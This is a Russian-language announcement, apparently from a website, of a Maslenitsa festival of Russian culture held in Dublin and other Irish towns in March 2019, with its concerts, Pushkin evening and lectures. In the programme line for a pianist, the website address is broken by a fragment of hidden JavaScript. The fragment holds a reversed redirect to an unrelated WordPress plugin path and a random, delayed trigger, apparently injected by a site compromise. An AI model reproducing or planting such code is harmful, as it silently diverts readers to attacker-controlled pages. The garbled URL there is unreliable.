Фестиваль Русской Культуры в Ирландии “Масленица”
Десятый фестиваль русской культуры завершился в Ирландии грандиозным торжеством в дублинском театре Либерти. На праздничную ярмарку в ирландской столице собрались сотни человек. Их ждали изделия народных промыслов, блюда традиционной русской кухни, выступления творческих коллективов.
С праздником гостей поздравил посол России в Ирландии Юрий Филатов.
Масленичную неделю в ирландской столице провела некоммерческая организация «Русский мост». Она началась фортепианным концертом с участием российских и ирландским музыкантов. Состоялся вечер в честь Александра Пушкина, ведущим которого выступил известный американский переводчик и большой знаток творчества русского поэта Джулиан Генри Лоуэнфельд.В Дублине состоялись лекция о события в России и Ирландии начала XX века и дискуссия о дипломатических связях двух стран в разные эпохи.
Программа фестиваля русской культуры 2019:
3 марта
12.00 – Открытие фестиваля в Hugh Lane Gallery, Дублин. Выступления лауреатов международного конкурса Джона Филда, пианиста Оуэна Лориган, Трио Улиссе, вокальные номера Лорны Брин, московсковского пианиста Виктора Рябчикова (www.victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torryabchikov.com), выступление поэта и переводчика Джулиана Генри Лоуэнфельда. Вход свободный.
5 марта
19.00 – “Александр Пушкин – солнце русской поэзии” Graduates Memorial Building, Trinity College, Dublin.
В год 220-летия со дня рождения А.С. Пушкина поэт и переводчик Джулиан Генри Лоуэнфельд проведет поэтический вечер.
Приходите узнать еще больше об одном из великих поэтов России, послушать его стихи на русском и английском языках и насладиться встречей с американцем, Джулианом Генри Лоуэнфельдом, которого вдохновила на изучение русского языка литература России, и он стал одним из лучших переводчиков Пушкина в наши дни.
Арфистка Аравель (Arawelle) присоединиться к нам в этот вечер, сопровождая поэтические чтения игрой на старинной ирландской и гэльской арфе, тем самым давая новую жизнь произведениям Пушкина в Ирландии.
Вход свободный. После презентации и чтения гостям будет предложен бокал вина и возможность общения.
Мероприятие организовано Русским Мостом совместно с Русским Обществом и кафедрой русского языка и славистики Тринити Колледжа.
6 марта
19.00 – “Две Революции. Две страны.” The Ireland Institute, 27 Pearse Street, Dublin.
Лекция-семинар о России и Ирландии начала 20 века.
Спикеры: Билли Муррей (Billy Murray) и Майкл Квин (Michael Quinn)
– Демонстрация фильма Билли Муррей о семье аристократов Розамонды и Катлин Френч, живших в России и Ирландии в годы революций и гражданских войн начала 20 века.
– Презентация Майкла Квина об исследовании дипломатических отношений Советской России и Ирландии в начале 20 века, включающая истории государственных долгов и тайны драгоценностей царской России…
Вход свободный. Язык лекции – английский. Перевод на русский – по необходимости.
8 марта
19.00 – Mullingar, Co. Westmeath. Литературно-музыкальный вечер “Музыка любви”. Организатор – Кристина Бутусова, Культурная Ассоциация “Русская Ирландия”. Danny Byrnes, 27 Pearse Street, Mullingar. Вход 5 евро.
9 марта
11.00 Dundalk. Co. Louth. Творческая встреча композитора и исполнителя Григория Гладкова с детьми. “Наша школа, Дандолк”.
10 марта – Семейный день. Праздничный концерт “Ишь ты, Масленица”. В программе: музыкальные выступления соотечественников, а также заслуженного деятеля искусств РФ Григория Гладкова и Московского Казачьего Хора. Ярмарка, фотовыставка. Весь день работает кафе с живой музыкой и, конечно, блинами и угощениями русской кухни.
Фестиваль проводится некоммерческой организацией “Русский Мост” при поддержке Посольства РФ в Ирландии, русского культурного центра “Матрешка”, Ассоциации “Русская Ирландия”, издательства “Наша Газета”, Trinity College, Hugh Lane Gallery, The Ireland Institute, Правительства Москвы.
